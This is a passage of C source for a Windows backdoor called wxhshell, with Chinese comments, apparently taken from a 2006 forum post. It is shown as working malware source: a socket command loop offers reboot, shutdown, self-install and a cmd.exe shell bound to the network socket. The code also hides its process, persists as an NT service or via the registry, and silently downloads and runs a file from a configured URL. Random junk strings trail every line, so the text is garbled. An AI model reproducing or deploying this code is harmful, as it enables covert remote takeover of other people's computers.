  } 7yeZ+lD  
  else { 43,- t_jV  
K*7*`6iU  
    switch(cmd[0]) { 5\:#-IYJ  
  ,(OA5%A9zK  
  // 帮助 ~AjbF(Ad  
  case '?': { $`{}4,5M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); azj<aaH  
    break; Y49kq}  
  } Vn=J$Uv0  
  // 安装 qW;nWfkYC  
  case 'i': { ln3x1^!  
    if(Install()) (0Hhn2JA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _L%/NXu,  
    else 0:v7X)St  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P:ys--$"  
    break; *v8Cj(69  
    } o"7,CQye  
  // 卸载 w?oIKj  
  case 'r': { IW6;ZDP  
    if(Uninstall()) *`|.:'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {7Dc(gNS  
    else i T 4H@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ndF Kw  
    break; IBES$[  
    } gAv?\9=a)W  
  // 显示 wxhshell 所在路径 'ZL)-kbI  
  case 'p': { 9I]*T  
    char svExeFile[MAX_PATH]; OFQsfW3O  
    strcpy(svExeFile,"\n\r"); NawnC!~ $  
      strcat(svExeFile,ExeFile); ^R>&^"oI  
        send(wsh,svExeFile,strlen(svExeFile),0); e] **Z,Z  
    break; c6BaC@2  
    } rf1-E57#  
  // 重启 i]8zZRe  
  case 'b': { yK{;72  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sAnStS=>  
    if(Boot(REBOOT)) J[VQ6fD%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |\~cjPX(  
    else { P/M*XUG.  
    closesocket(wsh); $sGX%u  
    ExitThread(0); [#lPT'l  
    } 8Vl!&j0s^  
    break; j><.tA~i  
    } WdunI~&.  
  // 关机 _wZ(%(^I  
  case 'd': { +SUQRDF@i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yw?%>L  
    if(Boot(SHUTDOWN)) ]=@>;yP)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0sV;TQt+f  
    else { XImb"7|  
    closesocket(wsh); xQWZk`6~L  
    ExitThread(0); `4\H'p  
    } ]#3=GFs/  
    break; oE-i`;\8  
    } 9FcCq*D  
  // 获取shell 9.vHnMcq  
  case 's': { %S$P+B?  
    CmdShell(wsh); /SlCcozFL~  
    closesocket(wsh); IF5+&O  
    ExitThread(0); {^MR^4&}(  
    break; Rjm5{aa-  
  } ',J3^h!b  
  // 退出 PuUqWW'^  
  case 'x': { ;<ed1%Le,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oVc_ (NH-  
    CloseIt(wsh); L.+5`&  
    break; X@|  
    } ro^Y$;G  
  // 离开 bG2 !5m4L  
  case 'q': { ?=Ma7 y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "b-6kM  
    closesocket(wsh); R:^GNra;  
    WSACleanup(); b4oZ@gVR;  
    exit(1); F =d L#@^  
    break; X1tAV>k5'L  
        } 9FJU'$FN  
  } h +N75  
  } c @2s!bs  
T][\wyLx1  
  // 提示信息 Q\ro )r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 33"{"2==`  
} 9-}&znLZe  
  } urXM}^  
?\ho9nyK  
  return; E*rDwTd  
} T'f E4}rY  
P9X/yZ42  
// shell模块句柄 ^[^uDE <  
int CmdShell(SOCKET sock) =0x[Sa$&,  
{ X} 8rrC=  
STARTUPINFO si; >Mi A|N=  
ZeroMemory(&si,sizeof(si)); )Bd+jli|s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QJOP*<O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G} }oeS  
PROCESS_INFORMATION ProcessInfo; >Pbd#*  
char cmdline[]="cmd"; (W*yF2r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }{]{`\  
  return 0; $zxCv7  
} U/0NN>V  
Wm Od1  
// 自身启动模式 |D`Zi>lv  
int StartFromService(void) y5+-_x,  
{ {9'"!fH  
typedef struct `|v0@-'$  
{ }IEYH&4!  
  DWORD ExitStatus; SGjaH 8z  
  DWORD PebBaseAddress; -pa.-@  
  DWORD AffinityMask; =We}&80 x  
  DWORD BasePriority; n# Z6d`  
  ULONG UniqueProcessId; %"+FN2nbm  
  ULONG InheritedFromUniqueProcessId; MJ &6 Z*  
}   PROCESS_BASIC_INFORMATION; ?Mji'ZW}  
8l;0)`PU  
PROCNTQSIP NtQueryInformationProcess; ;'2y6"\Y  
OO53U=NU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gt{ei)2b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TZ-n)rC)v  
tEBf2|<  
  HANDLE             hProcess; +>c)5Jih  
  PROCESS_BASIC_INFORMATION pbi; pEhWgCL  
!Bu<6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _;X# &S(q-  
  if(NULL == hInst ) return 0; UmInAH4  
R1J"QU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wQ(ME7 t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t-_N|iW' 5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dtm_~r7~  
`I_%`15>  
  if (!NtQueryInformationProcess) return 0; 9OXrz}8C  
shnfH   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OuS{ve  
  if(!hProcess) return 0; 1cOp"!  
a,lH6lDk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]<W1edr  
* C's7O{O  
  CloseHandle(hProcess); LFV;Y.-(h  
w#XE!8`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q.M3rRh  
if(hProcess==NULL) return 0; K& 2p<\2  
tlqDY1  
HMODULE hMod; P|_?{1eO2  
char procName[255]; ;?h#',(p  
unsigned long cbNeeded; U{eC^yjt"o  
bKG:_mWe w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fgTvwO Sk  
|w /txn8G|  
  CloseHandle(hProcess); _.Uz!2  
n1buE1r?  
if(strstr(procName,"services")) return 1; // 以服务启动 R/<  /g=  
= eTI@pN`  
  return 0; // 注册表启动 +`.%aJIi9  
} k= nfo-h  
`C_#EU-  
// 主模块 98o;_tU'  
int StartWxhshell(LPSTR lpCmdLine) {&w%3  
{ }wj*^>*  
  SOCKET wsl; )k29mqa`  
BOOL val=TRUE; #;}IHAR  
  int port=0; V/>SjUNq  
  struct sockaddr_in door; v`x~O+  
^D oJ='&  
  if(wscfg.ws_autoins) Install(); BFj@Z'7P  
Yg2z=&p-{"  
port=atoi(lpCmdLine); pN4!*7M  
"%A[%7LY  
if(port<=0) port=wscfg.ws_port; Z2*hQ`eE  
wrGd40  
  WSADATA data; \+L_'*&8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J,m.LpY  
/x-Ja[kL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UkXc7D^jwm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |byB7 f  
  door.sin_family = AF_INET; f&^Ea-c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y k~ i.p  
  door.sin_port = htons(port); _2f}WY3S  
8a. |CgI#h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T7cT4PAW  
closesocket(wsl); \mWXr*;  
return 1; S)JZ b_  
} j cx/ZR  
>`,v?<>+  
  if(listen(wsl,2) == INVALID_SOCKET) { t#Yyo$9  
closesocket(wsl); iVXR=A\er  
return 1; WMh'<'w N_  
} 0Xk;X1Xl  
  Wxhshell(wsl); w[4SuD  
  WSACleanup(); Dtd bQF  
p c-'+7Dh>  
return 0; <|Z0|sel  
,EwJg69  
} ;J?^M!l2=  
3%|<U51  
// 以NT服务方式启动 l\$_t2U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \Xxx5:qM  
{ FopD/D{  
DWORD   status = 0; <w{W1*R9  
  DWORD   specificError = 0xfffffff; q. BqOa:  
EY2s${26%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B#EF/\5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z][?'^`^!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; du'$JtZo  
  serviceStatus.dwWin32ExitCode     = 0; 9R.tkc|K  
  serviceStatus.dwServiceSpecificExitCode = 0; Av+ w>~/3  
  serviceStatus.dwCheckPoint       = 0; kQVl8KS  
  serviceStatus.dwWaitHint       = 0; ;F~GKn;}  
<!DOCvd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8'g/WZY~~  
  if (hServiceStatusHandle==0) return; nW|[poQK  
m\@Q/_ v  
status = GetLastError(); +H ="5uO<  
  if (status!=NO_ERROR) V!FzVl=G  
{ r=@h}TKv{I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bIWcL$}4Q  
    serviceStatus.dwCheckPoint       = 0; 7Dm^49H  
    serviceStatus.dwWaitHint       = 0; 8yztVdh  
    serviceStatus.dwWin32ExitCode     = status; 8hAI l  
    serviceStatus.dwServiceSpecificExitCode = specificError; _Q.3X[88C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kAy.o  
    return; 8 LaZ5  
  } O8dDoP\F2  
,FBF;zED  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w2$HP/90j  
  serviceStatus.dwCheckPoint       = 0; ?kS5=&<  
  serviceStatus.dwWaitHint       = 0; hb? |fi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _MMz x2}  
} - *yj[?6  
Iun!r v  
// 处理NT服务事件,比如:启动、停止 ap;UxWqx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +[~\\X  
{ 8^< -;  
switch(fdwControl) uc7Y8iO  
{ DO( /,A<{8  
case SERVICE_CONTROL_STOP: B8a!"AQ~5  
  serviceStatus.dwWin32ExitCode = 0; 2M1yw "  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R 8Iac[N  
  serviceStatus.dwCheckPoint   = 0; Y|B/(  
  serviceStatus.dwWaitHint     = 0; o_\b{<^I  
  { |h6 @hB\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zjo9c{\  
  } Jw {:1  
  return; >u4uV8S   
case SERVICE_CONTROL_PAUSE: `L9o !OsQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2ix_,yTO  
  break; Pv0OoN*eJ{  
case SERVICE_CONTROL_CONTINUE: |c >  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &BE[=& |  
  break; w_|WberU  
case SERVICE_CONTROL_INTERROGATE: VQo7 se1P  
  break; 7c;59$2(  
}; ;\#u19  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QMfYM~o  
} QAb[M\G  
^OA}#k NTW  
// 标准应用程序主函数 *xLMs(gg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zlFl{t  
{ Bq:@ [pCQ  
OWq~BZ{  
// 获取操作系统版本 `yC R.3+  
OsIsNt=GetOsVer(); eJy@N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fylaH(LER  
& 6}vvgz  
  // 从命令行安装 BY \p?79  
  if(strpbrk(lpCmdLine,"iI")) Install(); |AWu0h\keO  
4Nq n47|>e  
  // 下载执行文件 Wa[~)A  
if(wscfg.ws_downexe) { =BGc@:2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z,] fR  
  WinExec(wscfg.ws_filenam,SW_HIDE); A #jiCIc  
} $ B$=,^)3  
XU SfOf(  
if(!OsIsNt) { ;#Mq=Fr-SG  
// 如果时win9x,隐藏进程并且设置为注册表启动 q5OW1%  
HideProc(); EG9S? $  
StartWxhshell(lpCmdLine); c\;} ov+  
} y>~Ke UC  
else /6S/a*`<X  
  if(StartFromService()) n+!.0d}6  
  // 以服务方式启动 Box,N5AA  
  StartServiceCtrlDispatcher(DispatchTable); CZ&TUE|:DA  
else h+$_:](PC  
  // 普通方式启动 %F}`;>C3  
  StartWxhshell(lpCmdLine); ,:L}S03k  
SH`"o  
return 0; <&+l;z  
}
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只看该作者 1 发表于: 2006-10-10
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